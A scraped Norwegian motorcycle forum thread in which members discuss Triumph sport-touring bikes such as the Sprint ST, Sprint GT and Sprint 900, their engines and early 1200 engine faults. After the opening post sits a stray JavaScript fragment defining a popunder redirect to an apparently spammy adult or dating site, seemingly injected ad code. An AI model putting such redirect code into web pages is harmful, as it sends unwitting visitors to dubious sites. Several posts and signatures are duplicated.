Er du på jakt etter en «Sportstourer» av merket Triumph er det ikke mange å velge i. Sprint ST, Sprint GT og Trophy SE hvor alle kunne kjøpes med koffert sett. @Jompa på forumet her har en 1050 Sprint GT, han har kanskje oversikt over hva som har vært på markedet fra Triumph av sportstourer før det ble stopp i produksjon.
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
Triumph «Sportstourer» … kjøp nå.
Triumph «Sportstourer» … kjøp nå.
dypen 
Tempo Swing 150, Monark Maraton ILO Piano 50, Tempo Comet 60 +++ Suzuki AS 50, Yamaha LS2 100 første, Yamaha LS2 100 andre, Yamaha RS 100, Kawasaki Mach III H1 500, Honda CB750 Four K2, Kawasaki Z1000, Yamaha XT500, Baotian BT50QT, Chang Jiang 750 M1S sidevogn, Honda CB500X, KTM 1050 Adventure, Yamaha YZF-R1 5JJ, KTM 1290 Super Adventure S, Honda XL700VA Transalp, Kawasaki KZ900-A4, Kawasaki Z1A 900, BMW K1600GT, Yamaha XS500D 1H2
Tempo Swing 150, Monark Maraton ILO Piano 50, Tempo Comet 60 +++ Suzuki AS 50, Yamaha LS2 100 første, Yamaha LS2 100 andre, Yamaha RS 100, Kawasaki Mach III H1 500, Honda CB750 Four K2, Kawasaki Z1000, Yamaha XT500, Baotian BT50QT, Chang Jiang 750 M1S sidevogn, Honda CB500X, KTM 1050 Adventure, Yamaha YZF-R1 5JJ, KTM 1290 Super Adventure S, Honda XL700VA Transalp, Kawasaki KZ900-A4, Kawasaki Z1A 900, BMW K1600GT, Yamaha XS500D 1H2
-
AJ
- Administrator
- Innlegg: 37880
- Registrert: 30 sep 2006, 18:46
- Motorsykkelen din: KTM 1290 SA S, ('18), Moto Guzzi v7 850 Special 100 year Anniversary
- Sted: Lunner på Hadeland
- Kontakt:
Re: Triumph «Sportstourer» … kjøp nå.
Strålende motor i denne modellen!
Mange mener den er noe av det beste som er blitt laget til MC.
Det skal ikke jeg uten videre gå god for, men etter å har eid en Triumph Tiger 1050 SE kan jeg i hvert fall si at rent motormessig var jeg strålende fornøyd med den .
Mange mener den er noe av det beste som er blitt laget til MC.
Det skal ikke jeg uten videre gå god for, men etter å har eid en Triumph Tiger 1050 SE kan jeg i hvert fall si at rent motormessig var jeg strålende fornøyd med den
.________________________________________________________________________
De som ønsker å bidra økonomisk til driften av forumet kan benytte et av alternativene her.
MC'er:
Suzuki GSX 1100 EF, 1985 (1991), Yamaha TDM 900, 2006 (2006 - 2010), Triumph Tiger 1050 SE, 2010 (2010 - 2012), Moto Guzzi Stelvio 8V, 2012 (2012 - 2015), KTM 1290 Super Adventure, 2015 (2015 - 2018), KTM 1290 Super Adventure S, 2018 (2018 - -->), KTM 390 Duke, 2021 (2021 - 2023), Moto Guzzi V7 850 Special 100 Anniversary (2023 - -->)
KTM 1290 SA S - nok en god grunn til oppmaskinering
De som ønsker å bidra økonomisk til driften av forumet kan benytte et av alternativene her.
MC'er:
Suzuki GSX 1100 EF, 1985 (1991), Yamaha TDM 900, 2006 (2006 - 2010), Triumph Tiger 1050 SE, 2010 (2010 - 2012), Moto Guzzi Stelvio 8V, 2012 (2012 - 2015), KTM 1290 Super Adventure, 2015 (2015 - 2018), KTM 1290 Super Adventure S, 2018 (2018 - -->), KTM 390 Duke, 2021 (2021 - 2023), Moto Guzzi V7 850 Special 100 Anniversary (2023 - -->)
KTM 1290 SA S - nok en god grunn til oppmaskinering
Re: Triumph «Sportstourer» … kjøp nå.
Herlig lyd i tresylindra’n fra Triumph. Søkte litt og ser det var flere, Triumph Sprint Executive og Triumph Sprint RS i samme kategori.
@haakeik her på forumet hadde også Triumph Sprint som jeg mener han hadde supplert med å ettermontert nedre kåpe på.
Husker jeg rett hvis det er flere forumbrukere som har vært oppe med Triumph diskusjoner …
@haakeik her på forumet hadde også Triumph Sprint som jeg mener han hadde supplert med å ettermontert nedre kåpe på.
Husker jeg rett hvis det er flere forumbrukere som har vært oppe med Triumph diskusjoner …
dypen
Tempo Swing 150, Monark Maraton ILO Piano 50, Tempo Comet 60 +++ Suzuki AS 50, Yamaha LS2 100 første, Yamaha LS2 100 andre, Yamaha RS 100, Kawasaki Mach III H1 500, Honda CB750 Four K2, Kawasaki Z1000, Yamaha XT500, Baotian BT50QT, Chang Jiang 750 M1S sidevogn, Honda CB500X, KTM 1050 Adventure, Yamaha YZF-R1 5JJ, KTM 1290 Super Adventure S, Honda XL700VA Transalp, Kawasaki KZ900-A4, Kawasaki Z1A 900, BMW K1600GT, Yamaha XS500D 1H2
Tempo Swing 150, Monark Maraton ILO Piano 50, Tempo Comet 60 +++ Suzuki AS 50, Yamaha LS2 100 første, Yamaha LS2 100 andre, Yamaha RS 100, Kawasaki Mach III H1 500, Honda CB750 Four K2, Kawasaki Z1000, Yamaha XT500, Baotian BT50QT, Chang Jiang 750 M1S sidevogn, Honda CB500X, KTM 1050 Adventure, Yamaha YZF-R1 5JJ, KTM 1290 Super Adventure S, Honda XL700VA Transalp, Kawasaki KZ900-A4, Kawasaki Z1A 900, BMW K1600GT, Yamaha XS500D 1H2
-
Jompa
- Moderator
- Innlegg: 6967
- Registrert: 08 jan 2011, 14:52
- Motorsykkelen din: Triumph Sprint GT 1050
- Sted: Alta
Re: Triumph «Sportstourer» … kjøp nå.
Sprint 900 ble produsert fra 1991 til 1998.
Så kom vel 1050 etter den.
For noen år siden var det flere her som kjørte Tiger 1050
Så kom 1200- motoren med sine skavanker på de første, ventilstammer som knakk med påfølgende motorhavari.
Det er flere Sprint ST på veiene enn GT.
STen er mere sport enn sportstouring.
Så kom vel 1050 etter den.
For noen år siden var det flere her som kjørte Tiger 1050
Så kom 1200- motoren med sine skavanker på de første, ventilstammer som knakk med påfølgende motorhavari.
Det er flere Sprint ST på veiene enn GT.
STen er mere sport enn sportstouring.
De svake øyeblikkene er de beste øyeblikkene.